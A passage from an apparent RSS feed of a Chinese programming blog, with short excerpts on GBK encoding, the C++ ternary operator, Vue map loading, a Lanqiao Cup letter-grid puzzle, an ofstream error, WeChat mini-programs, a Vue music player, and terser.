      <description>GBK编码范围：8140－FEFE，汉字编码范围见第二节：码位分配及顺序。&#xA;GBK编码，是对GB2312编码的扩展，因此完全兼容GB2312-80标准。GBK编码依然采用双字节编码方案，其编码范围：8140－FEFE，剔除xx7F码位，共23940个码位。共收录汉字和图形符号21886个，其中汉字（包括部首和构件）21003个，图形符号883个。GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字，并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布，这一版的GBK规范为1.0版。&#xA;一、字汇 GBK 规范收录了 ISO 10646.1 中的全部 CJK 汉字和符号，并有所补充。具体包括：&#xA;GB 2312 中的全部汉字、非汉字符号。GB 13000.1 中的其他 CJK 汉字。以上合计 20902 个 GB 化汉字。《简化字总表》中未收入 GB 13000.1 的 52 个汉字。《康熙字典》及《辞海》中未收入 GB 13000.1 的 28 个部首及重要构件。13 个汉字结构符。BIG-5 中未被 GB 2312 收入、但存在于 GB 13000.1 中的 139 个图形符号。GB 12345 增补的 6 个拼音符号。汉字“〇”。GB 12345 增补的 19 个竖排标点符号（GB 12345 较 GB 2312增补竖排标点符号 29 个，其中 10 个未被 GB 13000.1 收入，故 GBK 亦不收）。从 GB 13000.1 的 CJK 兼容区挑选出的 21 个汉字。GB 13000.</description>
    </item>
    <item>
      <title>c&#43;&#43;基础知识3——三目运算符</title>
      <link>https://bchobby.github.io/posts/ab8ac96e4184bbea8b1b643c0a86d36a/</link>
      <pubDate>Mon, 24 Aug 2020 11:28:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab8ac96e4184bbea8b1b643c0a86d36a/</guid>
      <description> 三目运算符的返回值&#xA;c语言中:&#xA;返回值为变量值，不能作为左值使用。&#xA;c++中:&#xA;当作为左值时直接返回变量本身，当作为右值时返回变量值。如：&#xA;int a=1; int b=2 （a&amp;lt;b ? a : b）= 3;&#x9;//在c语言中此句报错，而c++则正确 注意，如果返回的值中有一个是常量值，则不能作为左值使用。如下会报错：&#xA;（a&amp;lt;b ? a : 2）=3;&#x9;//在c++中会报错 </description>
    </item>
    <item>
      <title>vue项目中使用高德地图的异步加载</title>
      <link>https://bchobby.github.io/posts/7c543790d4726f591a74475446b93989/</link>
      <pubDate>Mon, 24 Aug 2020 10:44:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c543790d4726f591a74475446b93989/</guid>
      <description>前言：为什么使用异步加载这里不在赘述，大家可以自行去百度或者去高德官网上查看官方的解释官网地址amap-jsapi-loader 是高德开放平台官网提供的地图 JSAPI 的加载器，可帮助开发者快速定位、有效避免加载引用地图 JSAPI 各种错误用法。下载 npm i @amap/amap-jsapi-loader --save 再需要使用的文件引入 import AMapLoader from &#34;@amap/amap-jsapi-loader&#34;; mounted () { this.getGis() }, methods: { getGis () { AMapLoader.load({ key: &#39;你自己申请的key&#39;, // 申请好的Web端开发者Key，首次调用 load 时必填 version: &#39;1.4.15&#39;, // 指定要加载的 JSAPI 的版本，缺省时默认为 1.4.15 plugins: [], // 需要使用的的插件列表，如比例尺&#39;AMap.Scale&#39;等 AMapUI: { // 是否加载 AMapUI，缺省不加载 version: &#39;1.1&#39;, // AMapUI 缺省 1.1 plugins: [] // 需要加载的 AMapUI ui插件 }, Loca: { // 是否加载 Loca， 缺省不加载 version: &#39;1.3.2&#39; // Loca 版本，缺省 1.</description>
    </item>
    <item>
      <title>蓝桥杯字母阵列</title>
      <link>https://bchobby.github.io/posts/f31be99ed09a7541c6b6c767724ceeab/</link>
      <pubDate>Sun, 23 Aug 2020 22:30:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f31be99ed09a7541c6b6c767724ceeab/</guid>
      <description>字母阵列（递归解法） 仔细寻找，会发现：在下面的8x8的方阵中，隐藏着字母序列：“LANQIAO”。&#xA;SLANQIAO&#xA;ZOEXCCGB&#xA;MOAYWKHI&#xA;BCCIPLJQ&#xA;SLANQIAO&#xA;RSFWFNYA&#xA;XIFZVWAL&#xA;COAIQNAL&#xA;我们约定: 序列可以水平，垂直，或者是斜向；&#xA;并且走向不限（实际上就是有一共8种方向）。&#xA;上图中一共有4个满足要求的串。&#xA;下面有一个更大的（100x100）的字母方阵。&#xA;FOAIQNALWIKEGNICJWAOSXDHTHZPOLGYELORAUHOHCZIERPTOOJUITQJCFNIYYQHSBEABBQZPNGYQTCLSKZFCYWDGOAIADKLSNGJ GSOZTQKCCSDWGUWAUOZKNILGVNLMCLXQVBJENIHIVLRPVVXXFTHQUXUAVZZOFFJHYLMGTLANQIAOQQILCDCJERJASNCTLYGRMHGF TSDFYTLVIBHKLJVVJUDMKGJZGNNSTPVLCKTOFMUEUFSVQIAUVHNVFTGBDDARPKYNNCUOYUAZXQJNOEEYKLFRMOEMHUKJTPETHLES FKVINSLWEVGAGMKVFVIUBMYOIAFHLVNKNTYKTZWVXQWRWIGPENFXYDTKRVPKRTHMGHVYOCLDCKMEKRLGEKBYUCLOLYPAKPFSOREH KWPUOLOVMOFBIXYACWRDYBINTMPASPCEOKHXQIGBQQMCEOIVULIEOPFSCSIHENAJCVDPJDOIWIIULFDNOZOFVAMCABVGKAKCOZMG XWMYRTAFGFOCNHLBGNGOXPJSTWLZUNNAGIRETGXFWAQSSJPFTQAXMTQWMZWYVEPQERKSWTSCHSQOOBGXAQTBCHOEGBDVKGWJIFTG ZWWJEIISPLMXIMGHOOGDRZFTGNDDWDWMNUFWJYJGULPHNUFSAQNNIUVAAFZIAZKFXXNWCEABGJAUMGYEIEFVQXVHHHEDYUITRCQB XZHDPZQTOBECJVBZLACVXACZEDYOGVAVQRNWEOWGRAQYUEUESTEDQTYJUTEFOOITSHDDZHONJGBRCWNEQLZUTBNQIADKNFIOMWZR EBFKCVNLURZSNPOLTISRPDTNUMCDGKTYRGIOVEPTUTSBAWQKWWEUWIWHAANUZUADGZEATZOQICWFUJTWNZDBKLQNELWVTBNDLNFH PESISEATZNCDFRMXBQUKBFTIGYSFCWVHPMSUSDKPSCOMVLDOHYQVFHAJKRDTAVLIMNZBZSMLMRTLRPSLAHXDBASDMWAAYBPYVJZF SCCWYHLQOUKBMCEYENQNJXFOMOOJMTKDSHJJOHDKEGATFZHGWJJAZJROWHAZUFGEQKPYXLCAAXHHQBDALPYUDWZQHBASBBCFGQCQ ZKNXUBRYZVSPQHOVLAEUAUITMPWXNXJQVIBJVBCSVXKWFAFRPRWOLYVSDVTGGOFFMNQJZOBUDJLFHJTCYMPNOBHQJHGKLIKLZMLA POCKVEQXUAVHERIAQLGJHYOOVOMTXQFRTBFSETOZICPCHZHFBWNESVJJLSVSVOOGYYABFESWNWDNYBGBNAKRCFQMTCUMIFTESVIN JCAULIQRYUMAMAOVVWSEUTMECXSDTONRMMROQUISYEURSAYNZUVOPXLIFBDOHPXMABBLEQZGLJXQJOEYYRRRCFTEZQAOIWKRJQDL ZNUUDWZXZZURPMHGXQGNQBIQWWNERZWULSAPIBODBFFQQIHEQKCKLJYQNXQUTAAYGRBXSLLQNOQPZJEWHETQHPXJANMJFOHINWOW KJGAWWFSVIZHFNUWBLWYVPIWAEICCAHOEIWRADSLOZGPSVGPUBUUQAVYCHOIGINKYKJABWAQCZCXOBKTNJZQRHLUFKQLACAAOIWJ SIKWLXQHKDFJVGBVXWDWJKUSFRQRTDJYQMNFOQQALHRLMHSDMCFLAOVKDMTKMTPVTLAZLYJNJXZCFRHHSDIXYUUSVIMIICLUJHFW JHWUSMCFYHPIXHAPBBSHYDQCKVGQFTENLVERFVOVDCLSTQFUSEPUMTFODLZLYQXDOXAEPONIQWTDWSAWBNSZYACGSJQSHAUMIKXT MVBNFXMFNPAYSODPXEAYNRKTEZJWMUACSIUYPIORUFPMXAOZZJPJXPFLNSKNIAMETMOVULZPQIJJIRCSYQXOEVRHCNACSBRHKYNW KGKBTBHGWKVJYZCOVNSKUREKZEIWVLOHAMUAYKLUGHEUESICBZAHURNTJAECTHRNKSIJQFIPVZANSZYSPJWHPKHCAPEYWNXUYQSD RRRFYQFIQSWYRQTSNGNUFOBMSLGAFWPJGYEHGASFKTJCCZPXFIQLSXNKNWCYVTETOAPCOZJNHEWOCCAWVDEZUQCLLAVUQJJTQCKJ NMBKMUENVGXXVMQCLXPJDQIQCFWYADIFDSGINGZDJYHPUPXVRMWDIPJRWPNRYOFGYYPEAVKDEMLYRRRMNCRQXPTDSQIVKKGJWDEF SBAEKIFZCKDOMIQKBDWVQGBYWPDIBOLQUGAQRXLJDAZMXVZXYSNWEWTNZKYREMBEUHOTFOCKEJSXCMUBCKXNGQXTQJRCRCLWJTOI YXBFBIBRAAFNPKBLTSMCFERZURZNWHMOEHIHNQTBWXNPJGIDYDPRGEWACCBULJRACOFLANQIAOIHMYCNQHVKXSIGAMWAHUSNBBTD QDGPTRONXHAZWOUPNBFJFEWAMFZUQZFDKAPNJUBQPWBPYGPZHKUDZZDLCCWHGAUKJCSLLFWGPYJKJQBNLCZESOGXXSQCVVKVRVAW NXPGQOUEFLUZHHSAODIWEPZLXVQLYGVOOVCCREDJZJOMCSCFFKEIEAVCTPUZOWNOLJHGBJHJFBFFORGXOXXFOCAGBWEFCIDEKDLB PTXSUINQAJURNFQPMMSPLZTQAHCIOFJUEFFZGIHTSJNIEXQLLHRQUXXLLORJEHGQJOXSLIAVFPEJNGMMVAXDDMPXLOSTRLLFLYRM JQNCLENGTROIKDWBMXRNJYPGZRQOREPJJPTXKVVKPYYZENEOIQKZOPXAYGFXORXRIDGATHMZFDJIOIOKVDJBHSXQMYCBYFGXWHLH CITGTILGPGBHZMNWWHXEFPGDPJUVFBJKAQWACZHPRPJYCOLGZTBDCVHNRSUAJUQAWAPMQJDQIFPZQZEONWHIYKMXDZOMVETEFJRB RDOTIDCFEESOKYPYCGQQKOGPMGJRITSVTKOKDSXLRLJRRHNFRFXCMDNQMCEGZFJWHZOAFBQXXPXNBSWTSUYPAWQRHAUGLNPBRSJT HOWRIUGMOQTUYIHDWJRFBWWKWYKCICSVBVKTBIIWGFSVIFCTUKIHHUUISCOTEOYRWQXTAEBXQQOLLMOALNIYVCCHNSWIKHMYYNZO OFRIYYXPPSRTPAYMUJSSDILKIZAYSEIOLANQIAOVKARDPGVFCSYBSNHAPGTIKLAWTTKOEADWRLAACAAFYTBTNSGFTYLYUHJXBMMA NJFTMLUIBKDPWBXQOMBVQXCZOIREHRSZCSJOIVBXWQIBUTYBQNTZRVROHGOIZYAJWXLEATLOZJIKJMIHSLGSVTCXJWIOOGWSERRQ DBQJNGBLRIYFIKHBEYOZQBOAGGNIZKFDHWXCFNJLBQXVLHIQNIBZSDLTTRERHNWCMLJCVBBGGAQTPUQHIRABXPQSYGSDVMBNNDFG KPLFUYXHYGOCZPPXMWCZYNKCYBCRZVKFBHQXPGPBZFTTGEPQTJMOFHAYSQQZDMQECGXOXADYHNNXUKNBXZBYHBOULXNBJZKIZREF LVHAMSNXJOCVRPVGJUWXFVOCUCLCZDXRPBBDRLRAVVNLOZWOHWMXYSNMXAKJYWYGILNGUJGIPKAUDVANZLFWKUWWUSQYBRCBVDIJ QCXPLOTPPGXCUZOUSSTXHVMLHVMJTUSSOPLRKEBQSGWNGVHKANVZWYQHSHLIPWSYCPKTUKPMWPLVFLLAHXZQANFXHFNYHIQVIOYN ZPTJJCBHXPSUPOMNRVCKXSUFCNRCRNCPTPGIDQOEQUDFNUNMJPOEKVIMUJAJZOUKMAFSLDWYMCHTSNJYUDJAHQOIXPYSRHVAFFCR DCGMEEWXWMNOSSJNIZCINRHENPPPCYVFWYCONOPKXMFZXXIHNXIGAHAMHSBRESOETGVXWDNQLGCEOUDDJXHQIVCHRNKBFFEWILGY SOAIQNALXRBSGAQIDQVMVDKVZCPMJNXKXRXPFZAUVQPBHHQKTPDSQROLQTUGMFQRWGVEWCYPDYDZGNNNUFKJUEHJKPLIQNRQYXHU GKGWUCJXUKAEHLRLNDFUQPSJAZTVJRXWXQVBMRJXULEMJJPDCVTOWVFDBVLSBHZRRQUVMUQYKTJCLSGGHGCPHPHMWYAECLJIZUWV QQNKPQRJMSOCEAYDNKPHVEGKAGCKAPDXTGVXULHUXHJPDXCSKQTCJENVTZTMRUENCSWHBEORALSREBWAJEMQDXMRKGHJGICDHKHY YNSDSWDRLBBFUFVVICMGUCGBSVDLJNXGKXNFGVLKAVBJRRRUHKRXTPBJAKIEBAVMDIOJLIUDABCGNPNJIYBCXMOOWKRPHPYSWRDC BORWTNBISSLTVKBRTLWKRNCEDCNEGCIYJIPDICFAVNOISYAHWBLGMNFKXZYTTWJOBEPNMSJEJMHXVPGOJOLQQQVXFGEULANQIAOD OQETOJHCZXGTUKIWGMEVVMXCURISUOFQSAWZWDMZWVYHZMPEIMWKJDGERODVVUXYRTYLCRGYQQOIOFZSSZRAIESWBQOAIQNALJNR HEYWHPLLPCUEOCBAOWGAYEJZQJHLVNMVQNSQQGGUBOIMDPFLOVSQGBLYAMBRYJDVOXOQINLJAVYALAKHPKOYNKGXIISSJNGKHYMS IQVRYKXCUFIRNENEXFJTMOTJWYXSMTDHHPRHWIXETWVVIXZELKLLWRWQYGBCGJNYSUQEFCOUDNIJMLJNLAWSYJGULKBCFPYVSSMW WQHGWRQFWFOTGPBBSJBDUKOMBXNRPIMCGPGVZFADWTBVIEMVTBXVAFQDDMJALCOMZTXUFFKBQQZDFAMTFWEXTHBKNWRLUVITQXLN OPPJQKNGHWWPENVQIABJCQNKXNPWOWRFEOKQPQLANQIAORGGOLAYCEGZBHZVLPBERWYIJNJUNXKULUQOJLTNRDZDEYWEMYCHJLLB LJISOAQLXJEFXVTOZSICOLQIJEXUANJWIFSIMGUQWHBXUDWOEILYFUZTGDZDSPLZPDPXBLFAXLEFQFEPDSJQWEQMXKKHCXHMSATM UMUJENPBYKZLWAJAXJKDIYCBREBPOETQHMRHLKSEZUIPRGWIZDDQLSJAPKPBWMJMPZWLNFLFCQOCDBMLIHIYCXUJLFLPZVGWBKMY WHZJLKEWUPETVUREKVKCLBNYFLWCERVIPUDINNWGQTUHWXCTDVTMYATYUZLMVLOHKBOGIZCQDOWFBCWJAVUXYUEVRKPOXCKHAWZC RPLNLCUHJRADHJNSDPZXIKXGUKEJZCFJQASVUBSNLXCJXVCJZXGMRYRLOBCNGPDUJQVEFKMYHNZGZOAIQNALQDHTBWJXPKJLFXJY MKCEZEDAFGSOCORWJGMOKWPVVBVDYZDZHPXFWJBDELHPGOQHMBAHUUUJMGXAEKZCTQTBXNVYUIQUVZGXSKQXJWRUPSFIJDYIAORC GKFKQNXPJWOPPBTUKTHUBIROSYOVFEMJBRREWICJPCIOSTWPAUSKTRQULXPWRSXHSRYBCWYCYOTCTPFSQLDIILIGMEVZKYSOYRPH SFDSCSMLLNARCCGCBJOGZAEQTGNGSFAQIXLPDBSWZDTYVASYYPVBRFBTIAGGWONGSVKCJDBBLYKAIOXUATGMALZXFOHZFTXALCFU CUSSTLCRYPDTFSFJFENKJWTEBOBEPLSNXLALQWCKSLVMZQDJITHZKVCCQXTEXOSVAUFYAZXJUOAPPVEEWOIIMOSZZMCOQBRUXWKG PDOFSCKKJJTRYRWGLEZODQTJSIMXIAOLNMLPHBAYLPTTLPYWILSEIIQVSXNHIJEORVCNJHYXRBIZZJTADGMRTSXVRXYGVQQNUEIC IHNJOQXUXTXFPALCHOELNVMWDWQTEARUKPIFWXJSMWZLMNLAODUTKNZDYRFRLGBLIBGIBXJBOYMLYLANQIAORORYKSJPOOOAMVRN IWIUHLYJKTQGVJBDPROSRGZUFITDIBCDPICNEFIGHWGSROWBYKUCLCQYLJXLHLXSCTJWKDLHHMLDBZCVDKPXYYASHUUMUJMVSXAD GXOYXQFEBFIEJJLHBNGSYALOUXNQBXXZAAZJXENJJVVGFVHOTKSLEGLJVSJCQHSSZFEIOGBOGWSPIRENQAAWRQFBEFEXBKGMSTRC PYIANSGMNKBCDPHWDUPKICQEUDNZPNGRUJYSZIRLXGXXITAFBCANGDLVAQLDPVTJNSAUZMBBNOBBOERSHQIOLBVTSPPJKVCMXUBS IKMDIYSNCJZKJKJQMTIKEPRUNAHJUSWJHSLWIVWHYAYLOIOGSZVWKQWXZDBPHWZRAIPMXDJHBIISVJWVEVZAEGAKCYYMNZARBZPC DLDFVQDFDMVHYVOWEKMFKWUXLTPWIVKPRZZXOLMDAPAIQEKJHCHYAGJDBOFWDGNEGQGOOKWSKLTLREMGGTVJFHAIBCQKNZVRCZYS FBQASGNCCBBGNKJHCDBTGBIIWKMPHDABKEWDEPYEAVKNMPATUZZUOEHGUGAZNECSGUCIIJPMMRAMTVADMTCRJCBWDLWWFNFOWMVZ XFJFBGDAVGGAIZHAUIYENDZTRUWHPQUFWCHOXNCWYNAWVPLBLNQKQDTKQQKXNFXCTBGRWUZFHNRBDNLNKQVOLLGBBJQIYOBCEIKO CURAGWXMLYBSIZLAXFONZZMQMRNNSRQKRHQGFGZUTLONAYRKSSOWAMKZBSGOOYQDPTBHGPBNQEDCZHRTOXREOFJEKJVIZXZBCJPN KGYBZTZRKOGBETJRUWRNUCIFKIMCZGYTZLCZYGCGKVZRJIFZQIQPTCPPUHYWIXBOFFGSGSAIMNGKKUUROAVNJUQQNSWJRZIZEHAF DDAOBVCPOVODVJFLSNPJXHWQBHILWZAHQQMTQASNADZLZNXJLJMFCOUWOZJCMVVTYCKTUBABWLCEBNYWAMOLNBQQYBRUJCQCZALE TVVRPMYFIKINHIUEJBDLTCUMMUWICIUVCZNIQIUEWVAHLANQIAONMEYJWPDAFXVNOSOFDOCESSLGZPTJINBUAFWWWMPTYALZIGVD DCZGKILMBFXIQQFEKJBIUDEMIFCANVGNYZAYSQFMNNQFEPZFUUVGTBKSMDXITBLANQIAOQUKTPNYPOWSQQYWWMJHSDYVFDJYXBAF VGYXAMDRRZWVIHNQPZZWRNWBTROOJOLNUGXBILZKQEGIQSYGKZGODPWBJSCMRRWSSQURUFIAFQGEZLGZNOEQMNQEYUKPEQPPVAMO SYSFUAJFKIPUJVQSZRWQCJYAUMLDDNOKODDXIEQIFLANQIAOZFUNKUBVDBLMJOAUTVCZVLKJRQIORQPGAVCEYVNYUZHXILHERYEC GJEKWEKIJNIWUXZNVIWIAANHIOSOLATSQFSSCTAKESUTSPPYFHEHLVLIBJZEEBCOWMNHFTZMAPKFUPNFLTFFJQRVJHAKDVMGGUIX KAKXXNKSOAIQNALLWKWGVACYWBQEVTFSEUCYRORQTHWFUJFLQHONWZEKPLSNPRPBOMOFFCPMKXFZBKIERBKDYFKYUEYVYRPMOAQI WNICDLQKZXGTKDLIEFBGELGJOAIQNALXZLGGDQIBVEULDPBWUJNTYOKFBPGMAWRRUJPPIGYCNYURNOSQRIRBAZAGWWDUHAAZQWPT KFXZQXRMKSBUXWOUVVHSJWTLKZELGXMMAIDSJIWGCJPCBWZIEKMNUPUAFHTUMOZKJWVTIAQNOHELEMWGKJHKPNJVSRVHAUFXBUOU XOWCZJYQLXJRUOOYSKDLDXKWTTJBYBTLKSWRUYPOYTPBGUJXBMRWNELBWADCSZDAEEFGPVRHNNLBFDDXNPDXLKQUSJAZDEUDBMBD QIKYEKMVUHGGWZDKXFVQQNECZOAWCFUBHQMEPEPKEFSDBAYJQOSGAIHRBRAUKLQRANKMTTIOJDDXAEWTQHIYSGRRMEFTNNWCLZSI ZFUQAQCSFNVUQMKUQWBWFQIEQVVXPOSVIDTUOBLLTGHQKEMSUWWHWRISLGRDPPQPZBANSGDWXKNYTKMWECPMPDYSCJZXPUKPWGYI CNGVLBSCBHRLJARWSRENGHYYQDKRATERCPEAOPAJZUMOYIDHVPDMQPKKHCBAMRBGEIEXXJALMCXKPUGXYVINRORFYURXAMOJCBZQ YJHHAWESCLMDIHVYMLAJZQSYTDEURWYPOLJCAKIKSATGVIALBLWPPKDEGSPMRLDBQNVPPCLQXKUQLQJERMYFGAETUATEBQZUMGUN NBWUBVXYDFPLPJYLIDFVTVKKGFWMXVINLJUDUPABTSBJAJENZSXIMUJQWPEZTAVDMBBHFYTJKYFXIXQTBTTQIKQXQDPWYNMXRQDJ OGWLZQUBJJHAQNPVRGHGPNMMJPIDGANYEEDWYPOLKLNEPYSRTQYCJLSWFRJRRGGSNSDHIXYYSNAKKBWQDDGYYMOGPUXQEUSAPSOU CLLSELRVFZUFYVTJQKCQHNICMERWQFQNPVRPIIYKHZWJYJAFCLNSZXUHSPOZWQUMJHLKKYJENVZOCSWCTPYWIZONUUCLSUROGAYS AZGNIMXPLPCEPULRRBHHQOBELHJZPUQAMWUASVKDXVEWAOFMAYSJFXHCNEUXUQWUESFBRUFZQLKKWHCHKOPLECCBYSLECAEZIMMI TUUEOCEBAUKWLTSYJJPLZTIARAOZXKYYWIOXBBTZZCSAULKNEJWVQXIKUWBIWVHGNTHVBAWAVPGLHSDJDLPVHHHUNVSFKXARXLVQ EMVDFSLANQIAOPTLFLFRKGNUZCTXWCAXHECTZFHWUFENRGQICHTYLSHZWIEGLNVDJZOMTKAAUWOHVOVOCTUKOSINSAYIAEUYORNA VGPRMLCAQZIPRFQOZMEFTQZYVOTVFNVOIQSJCIPPQXQKJIXICUIGMHAJJMSXENCBQFIJHNZXIQMWACKDKQSEWWKMLOAUPFHAZGRY SQWQMRSQBGGKYKGWEZYRIHWGNXRPOUMFSFGTYDLUDWPWAVQORTMQUXWKUQVNMDPWQFIZPOIHCJATODRQGZDMQXZVNXXVEJNGWZOM PVBGZSQPCELDIWDHOQWAUHILGLPYRIICTLFSOYKQZYZOCIZPTECSWOODGGBDTSGIMYGMVPJPRPEVWOOKYFWRGXHWUCRQNYJEMSYL XWOFXFVDXPTHYTCEGMODCILAHYBREZVVHOUPZKCNHUEVPMKHUBNRPFMWXVQACVZCALZLYMZSBLCEASPMIEFOTGKMPGWYQADSNDPR QPHAVLZDZLKIEISFLLVWXAVBZLZIJRHGROUVGXRDLUJAXNHBBZYNCVERJGSKLWZEKGJBCWMSMLYIHZFFMIOGVIMZQBSRHQWAADYN MNXEGTDXCDKIUDOISQXEUJWETPELKBCYFSDNJQWNNBPYMWBUPQBAAINMYZOYCEGNLFNNHZFEMSQVXJJGWBCRAVKZFWFBKMBRVBFD HKACSZIUWUXLWKFPKOCUQJEPQDZCMUJFLVCLIOQQRVKSWFIAKNHMRLNJTKGVNTGLCVPVMBLJANOBCXUGVWBJYSIXZQVAVFWILWFB QWNLTPMCYHRSKVHXLONRANWKWXUTHYQLIOFKGDBMSWDRCYRKVSAGGRJMWQYQFLMUIGGCLAUQAACTYLPZEOJBHMWRKHCRXGTGRMUP CPQKJRBLYDNPUGHCRBVYBAIRVCAWLBWVWCMKNBIRKJOUGYQEBQRHDSTWXDIWGRVMLIJFBWHLHCDAAVUDLZSCGQNOUXVUIVIZZZMD NMHGYPFUUDWKQGTAKKGCDFJFYJFNRZVXDPGZEAMWQVQZODKTXHIYFVKJSSAWVHYCUCZMLLBPXTILDYJQEMWDRUFKISOUVPUDTYPB FDAQUBXHUJYTAYNWVIJNUSQDTQDEMUAPWXRYUWONTBDZCHZOUEGPMWEZTQWWSHAYOBWVTDIMZYNVNZKUHOFCQKPHJXWNRCGUJEKO WSDAUGUTVWCVHEMOIRJJGTANUWTSAIXXEVZTBDHPGSRHHVWCDZVZYRJTLONIJVXEATHQXOUKBIGZONFRSZIOGWNTYAJYLQCGEOWY package _09第九届; import java.</description>
    </item>
    <item>
      <title>错误：未定义类型“std::basic_ofstream＜char,std::char_traits＜char＞＞”或者“＜＜”:“std::ofstream”不定义该运算符或到预定义运算符可接收的类</title>
      <link>https://bchobby.github.io/posts/4233bfaf1956073442aba8df199dd9f5/</link>
      <pubDate>Sun, 23 Aug 2020 20:39:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4233bfaf1956073442aba8df199dd9f5/</guid>
      <description>本来想利用ofstream记录数据，但是调用的时候直接报错误，网上看可能是重载等错误，还有的说是没有#include &amp;lt;string&amp;gt;头文件函数，找了一圈尝试发现最后也没有解决。&#xA;最后发现都不是上面的问题，可能是因为版本问题（VS2017） 缺少相应对应的文件，我加上头文件#include&amp;lt;fstream&amp;gt;头文件以后，上面的两个错误就解决了。上面的两个错误主要还是因为没有头文件，具体问题具体分析，不一定对应所有的答案，大家自己甄别。&#xA;附上：&#xA;ofstream的使用方法–超级精细。C++文件写入、读出函数（转）&#xA;C++中输入输出流ifstream/ofstream用法总结</description>
    </item>
    <item>
      <title>微信小程序和H5有四个方面的区别</title>
      <link>https://bchobby.github.io/posts/8d5d0efcc67688b29eafe1e633e825e6/</link>
      <pubDate>Sun, 23 Aug 2020 13:22:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d5d0efcc67688b29eafe1e633e825e6/</guid>
      <description>一、运行环境的不同&#xA;H5的运行环境是浏览器，包括webview，而微信小程序的运行环境并非完整的浏览器，因为小程序的开发过程中只用到一部分H5技术。&#xA;小程序的运行环境是微信开发团队基于浏览器内核完全重构的一个内置解析器，针对性做了优化，配合自己定义的开发语言标准，提升了小程序的性能。&#xA;二、开发成本的不同&#xA;开发一个微信小程序，由于微信团队提供了开发者工具，并且规范了开发标准，则简单得多。前端常见的HTML、CSS变成了微信自定义的WXML、WXSS，WXML，官方文档中都有明确的使用介绍，开发者按照说明专注写程序就可以了。&#xA;需要调用后端接口时，调用发起请求API；需要上传下载时，调用上传下载API；需要数据缓存时，调用本地存储API；引入地图、使用罗盘、调用支付、调用扫码等等功能都可以直接使用；UI库方面，框架带有自家weui库加成。&#xA;并且在使用这些API时，不用考虑浏览器兼容性，不用担心出现BUG，显而易见微信小程序的开发成本相对低很多&#xA;三、获取系统级权限的不同&#xA;微信小程序相对于H5能获得更多的系统权限，比如网络通信状态、数据缓存能力等，这些系统级权限都可以和微信小程序无缝衔接。&#xA;而这一点恰巧是H5 被诟病的地方，这也是H5的大多应用场景被定位在业务逻辑简单、功能单一的原因。&#xA;四、页面体验不同&#xA;H5网页需要在浏览器中渲染，会给人明显的「卡顿」感觉，面对复杂的业务逻辑或者丰富的页面交互时尤为明显。&#xA;而微信小程序，它的代码直接在微信上运行，省去了通过浏览器渲染的步骤，因此，在微信中使用小程序，才会比H5流畅很多。&#xA;除了首次打开需要几秒的加载时间外，小程序各个页面的切换、跳转等体验已经媲美原生App，有着同样的柔丝般顺滑的效果。</description>
    </item>
    <item>
      <title>基于VUE的音乐播放器</title>
      <link>https://bchobby.github.io/posts/c1b1823843c7132dc64840ead5b95258/</link>
      <pubDate>Sun, 23 Aug 2020 11:52:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1b1823843c7132dc64840ead5b95258/</guid>
      <description>文章目录 前言一、功能分解1.布局2.JS功能实现 二、例程下载1.引入库2.读入数据 总结 前言 html音乐播放器练习小例子&#xA;1.调用网易云的api查询歌曲信息，api不是官方的，而是github上一个开源的项目https://github.com/Binaryify/NeteaseCloudMusicApi 2.这个项目是基于b站的一个教学视频做的，基本功能都是借鉴的，然后在上面加上了自己的功能&#xA;3.现在完成的功能有:&#xA;1)通过调用api搜索歌曲，歌词，评论，专辑&#xA;2)歌词滚动播放和逐字显示&#xA;3）专辑封面展示&#xA;一、功能分解 1.布局 ![在这里插入图片描述](https://img-blog.csdnimg.cn/2020082312061630.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2JsYWtlMzIx,size_16,color_FFFFFF,t_70#pic_center) 从图可以看出来整体的布局情况，下面挑一些重点的讲一下： 输入框配合text-indent属性，可以让输入的文字向右偏移，如下图，红色的为偏移量&#xA;.search_bar { margin-right: 23px; width: 296px; height: 34px; border-radius: 17px; border: 0px; background: url(&#34;../images/zoom.png&#34;) 265px center no-repeat rgba(255, 255, 255, 0.45); text-indent: 15px; outline: none; } 2.关于输入框下拉显示的问题：&#xA;&amp;lt;input type=&#34;text&#34; autocomplete=&#34;on&#34; list=&#34;url_list&#34; v-model=&#39;query&#39; @keyup.enter=&#34;searchMusic()&#34; /&amp;gt; &amp;lt;datalist id=&#34;url_list&#34;&amp;gt;&amp;lt;!--输入框历史记录--&amp;gt; &amp;lt;option v-for=&#34;(item,index) in searchHistory&#34;&amp;gt; {{item}}&amp;lt;/option&amp;gt; &amp;lt;/datalist&amp;gt; 需要在input标签里加入list属性，另外下面加上datalist标签，用v-for循环把所有历史纪录都显示出来，有两个注意点，url_list是用来关联input和datalist的，而真的搜索记录需要自己在js里存起来，如上是存储在searchHistory（js里定义和刷新的）里的&#xA;3.列表每行背景颜色不一样的方法：&#xA;/*奇数行显示不一样的方法*/ .song_list li:nth-child(odd) { background-color: rgba(240, 240, 240, 0.</description>
    </item>
    <item>
      <title>电脑修改用户名</title>
      <link>https://bchobby.github.io/posts/c6c4f53426654c92f1cd6e0abdcd0d4d/</link>
      <pubDate>Fri, 21 Aug 2020 20:43:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6c4f53426654c92f1cd6e0abdcd0d4d/</guid>
      <description>我用#CSDN#这个app发现了有技术含量的博客，小伙伴们求同去《更改电脑用户名（可更改C:\Users\用户名）》, 一起来围观吧 https://blog.csdn.net/zhang_jinhe/article/details/40624847?utm_source=app</description>
    </item>
    <item>
      <title>terser作为js代码压缩工具</title>
      <link>https://bchobby.github.io/posts/984785397258f56ea146dbd40ad42335/</link>
      <pubDate>Fri, 21 Aug 2020 18:56:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/984785397258f56ea146dbd40ad42335/</guid>
